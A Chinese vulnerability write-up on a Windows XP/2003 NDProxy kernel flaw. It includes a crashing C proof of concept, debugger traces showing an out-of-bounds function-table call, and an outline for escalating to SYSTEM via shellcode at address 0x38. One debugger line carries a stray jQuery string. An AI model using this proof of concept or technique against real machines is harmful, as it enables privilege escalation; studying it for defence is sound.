# 漏洞成因
这是一个windows内核漏洞,漏洞的触发需要开启Routing and Remote Access服务,影响 windowsxp,windows2003.
先上 poc
```c
#include <windows.h>
#include <stdio.h>
int main()
{
HANDLE hDev = CreateFile("\\\\.\\NDProxy", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
if(hDev==INVALID_HANDLE_VALUE)
{
printf("CreateFile Error:%d\n",GetLastError());
}
DWORD InBuf[0x15] = {0};
DWORD dwRetBytes = 0;
*(InBuf+5) = 0x7030125;
*(InBuf+7) = 0x34;
DeviceIoControl(hDev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, &dwRetBytes, 0);
CloseHandle(hDev);
return 0;
}
```
**注意**:这个POC是运行的结果是蓝屏,请在虚拟机下运行!
在XP下编译好POC代码,然后运行编译出来的EXE,双机调试,断在windbg,提示
```
Access violation - code c0000005 (!!! second chance !!!)
00000038 jQuery21405265350940171629_1451585769819 ???
```
当前EIP执行到了0x38这个内核地址。
栈回溯,看看出错前都调了什么函数
```
kd> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
b235dc14 f87bd145 822e6dc8 82117ef8 8227b410 0x38
b235dc34 804ef189 8227b2b8 000001b0 806d42d0 NDProxy!PxIODispatch+0x2b3
```
提示现在的栈有可能已经不正确了,看到前一个正常调用的函数是`NDProxy!PxIODispatch+0x2b3`
用IDA加载ndproxy.sys模块(Xp下的路径为 C:\WINDOWS\system32\drivers\ndproxy.sys),去这个函数看看

这是一个函数地址表,起始地址00018188,

结束地址0001832C

那么这个表的大小就是0x1a4
重启虚拟机,在call off_18188[eax]处下断,查看此时eax的值
```
kd> r eax
eax=000001b0
```
那么是call到18188+1b0 = 18338h,已经超过了表的大小,根据图3,可以看到这个地址是0x38,会出现第一步的crash到0x38。所以说这里的问题是数组指针越界了。
---
# 进一步分析eax怎么来的
先看这个API
```
BOOL
WINAPI
DeviceIoControl(
__in HANDLE hDevice, //设备句柄
__in DWORD dwIoControlCode, //设备操作控制码
__in_bcount_opt(nInBufferSize) LPVOID lpInBuffer, //设备请求数据的buffer,inbuffer
__in DWORD nInBufferSize, //inbuffer大小
__out_bcount_part_opt(nOutBufferSize, *lpBytesReturned) LPVOID lpOutBuffer, //OutBuffer
__in DWORD nOutBufferSize, //OutBuffer大小
__out_opt LPDWORD lpBytesReturned, //实际返回到OutBuffer
__inout_opt LPOVERLAPPED lpOverlapped
);
```
IDA里看到PxIODispatch函数先会比较IO控制码(DeviceIoControl函数中的参数2)

单步来到

动态调试查看此时edi被赋值后的值
```
NDProxy!PxIODispatch+0x1ea:
f87bd07c 8b7d0c mov edi,dword ptr [ebp+0Ch]
kd> r edi
edi=00000054
```
是inbufferSize(DeviceIoControl函数中的参数4),和edx=0x24比较
单步来到

查看ecx的值
```
kd> r ecx
ecx=00000024
```
是outbufferSize(DeviceIoControl函数中的参数6),和edx=0x24比较
单步到
```
f87bd092 8b4614 mov eax,dword ptr [esi+14h]
f87bd095 2d01010307 sub eax,7030101h
f87bd09a 3bc2 cmp eax,edx
f87bd09c 8955fc mov dword ptr [ebp-4],edx
f87bd09f 760c jbe NDProxy!PxIODispatch+0x21b (f87bd0ad)
```
这里是漏洞形成的关键,查看此时esi指向的内存
```
kd> dd esi
82046c28 00000000 00000000 00000000 00000000
82046c38 00000000 07030125 00000000 00000034
82046c48 00000000 00000000 00000000 00000000
```
看到07030125这个值是DeviceIoControl函数中的参数2,正好是esi+14h。把这个值给了eax,,做减法跳走

然后eax=eax*3;eax=eax*4;相当于 eax = eax *12,并且暂存。
接下来

在蓝色箭头的部分,恢复eax的值,直接作为函数表的索引,进行调用。
那么我们按上面的流程计算:
```python
>>> hex((0x07030125 - 0x7030101)*12)
'0x1b0'
```
刚好是crash时,eax的值。
漏洞形成的原因就是把程序的输入buffer中的数,计算后的值当作函数指针操作,产生了bug。
---
# 进一步利用
因为是在xp下是有办法在ring3写kernel的地址的,所以这个poc可以进一步修改,做利用。
利用的思路是在地址0x38处写一句,push shellcode地址,然后ret,就能到执行到shellcode了。代码有点长,就不贴了,打包了代码和编译好的exp在压缩包里(请在虚拟机 xp下使用,可以提权到system权限获得shell)。
暂无评论